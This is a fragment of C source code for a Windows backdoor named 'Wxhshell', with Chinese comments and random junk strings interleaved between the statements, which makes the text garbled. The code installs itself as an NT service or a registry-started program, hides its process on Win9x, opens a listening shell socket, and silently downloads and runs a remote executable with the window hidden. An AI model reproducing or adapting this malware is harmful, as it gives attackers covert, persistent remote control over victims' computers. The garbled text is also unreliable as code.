gU char procName[255]; vfm Y>nr unsigned long cbNeeded; i`vy<Dvpz Lh.-*H if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b9-3 C6@*l~j CloseHandle(hProcess); !su773vo 1^tX:qR if(strstr(procName,"services")) return 1; // 以服务启动 9zCuVUcd$. `f~$h?}3-@ return 0; // 注册表启动 !)W#|sys& } X*5N&AJ MOp "kA // 主模块 e:.?T\ int StartWxhshell(LPSTR lpCmdLine) K3,PmI&W
{ J}#2Wy^{ SOCKET wsl; b+hN\/*] BOOL val=TRUE; aU[!*n 4Ux int port=0; ,]]IJ;:w struct sockaddr_in door; 8xhx*A +KNd%AJ if(wscfg.ws_autoins) Install(); HNj;_S fy|I3 port=atoi(lpCmdLine); n'JS- y"U)&1 c% if(port<=0) port=wscfg.ws_port; V3d$C&<( `R.Pz _oe WSADATA data; ({!H() if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Yw5-:w0f +/]*ChrS if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Q&^\YgkCf setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;vX1U8 door.sin_family = AF_INET; "5sA&^_#_ door.sin_addr.s_addr = inet_addr("127.0.0.1"); }Ya! [tX door.sin_port = htons(port); uZ>q$
F %f1IV(3Qc if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D<<q5gG closesocket(wsl); vX}w_Jj> return 1; )EKWsGNe/ } 'd&4MA 0X 2efdJ&eIV if(listen(wsl,2) == INVALID_SOCKET) { `ah|BV closesocket(wsl); 7n+,!oJ return 1; `<|<1, } O|^J;fS: Wxhshell(wsl); B
I3fk WSACleanup(); Y%- !%| .9,x_\|G* return 0; 9PV+Kr!c5I J2!
Q09 }5 } W3\E;C-g0 dga4|7-MY // 以NT服务方式启动 #d/T7c# VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1,Mm+_)B { S?C.: DWORD status = 0; n00J21 DWORD specificError = 0xfffffff; .QwB7+V4 rXE0jTf:a serviceStatus.dwServiceType = SERVICE_WIN32; :l1-s] serviceStatus.dwCurrentState = SERVICE_START_PENDING; mU?~s7 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sK&kp=zu serviceStatus.dwWin32ExitCode = 0; d,Oagx serviceStatus.dwServiceSpecificExitCode = 0; K9p<PLy+ serviceStatus.dwCheckPoint = 0; 0chpC)#Q3; serviceStatus.dwWaitHint = 0; tY!l}:E[ #=33TvprR2 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o|c6=77043 if (hServiceStatusHandle==0) return; |B*B>P# q 5z^y(Sv status = GetLastError(); WWZ<[[ > if (status!=NO_ERROR) Hc8He!X*# { bM:4i1Z serviceStatus.dwCurrentState = SERVICE_STOPPED; 6DK).|@$r serviceStatus.dwCheckPoint = 0; G
kG#+C0L serviceStatus.dwWaitHint = 0; >wt.)c?5 serviceStatus.dwWin32ExitCode = status; 1IS1P)4_0 serviceStatus.dwServiceSpecificExitCode = specificError; bu_@A^ys SetServiceStatus(hServiceStatusHandle, &serviceStatus); e!gNd>b { return; Haekr*1% } \/;c^!(< F8{gJaP x serviceStatus.dwCurrentState = SERVICE_RUNNING; fHEIys,{ serviceStatus.dwCheckPoint = 0; ]BjYUTNm serviceStatus.dwWaitHint = 0; hif;atO if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .!Z5A9^ } KW[y+c u.# ,IqE<i!U // 处理NT服务事件,比如:启动、停止 "5
~{ VOID WINAPI NTServiceHandler(DWORD fdwControl) V4ePYud;^ { F+Qnf'at1 switch(fdwControl) )j~{P { rOt{bh6r case SERVICE_CONTROL_STOP: "#7Q}d!x serviceStatus.dwWin32ExitCode = 0; (@xC-* serviceStatus.dwCurrentState = SERVICE_STOPPED; :f39)g5> serviceStatus.dwCheckPoint = 0; 8Nyz{T[ serviceStatus.dwWaitHint = 0; ]?D$n { ~K3Lbd|
r SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,&=7ir14>R } D})/2O p return; IE996
case SERVICE_CONTROL_PAUSE: ]1d)jWG
serviceStatus.dwCurrentState = SERVICE_PAUSED; o4EY2 break; (_@5V_U case SERVICE_CONTROL_CONTINUE: gL&w:_ serviceStatus.dwCurrentState = SERVICE_RUNNING; CkNR{?S break; fg#e*7Odn case SERVICE_CONTROL_INTERROGATE: t`|Rn9- break; X;6;v] }; \EoE/2"< SetServiceStatus(hServiceStatusHandle, &serviceStatus); .*njgAq7 } OF']- gAsmPI.K // 标准应用程序主函数 m)pHCS int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <_|@~^u { ~zac.:a8 lV^:2I/ // 获取操作系统版本 5Wa)_@qI)` OsIsNt=GetOsVer(); ri59LY y= GetModuleFileName(NULL,ExeFile,MAX_PATH); u;rmqo1 (n?f016*%d // 从命令行安装 ';Nc;9 if(strpbrk(lpCmdLine,"iI")) Install(); 27c0wzq K\xM%O? // 下载执行文件 H.{Fw j4 if(wscfg.ws_downexe) { e\[q3J if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WR#h~N
9c WinExec(wscfg.ws_filenam,SW_HIDE); 9M9Fif. } Ji!i}UjD7! (EWGX |QA if(!OsIsNt) { eF{uWus // 如果时win9x,隐藏进程并且设置为注册表启动 ZZ^A&%E(a HideProc(); DeF`#a0E StartWxhshell(lpCmdLine); 3T]cDVQ_ } lN5PKsGl else vW*Mf}= if(StartFromService()) $+44US // 以服务方式启动 t6KKfb StartServiceCtrlDispatcher(DispatchTable); l}^ziY! else zFO0l). // 普通方式启动 e> 9X StartWxhshell(lpCmdLine); 0.R3(O 'G % ]/'_U return 0; HiK+}?I }
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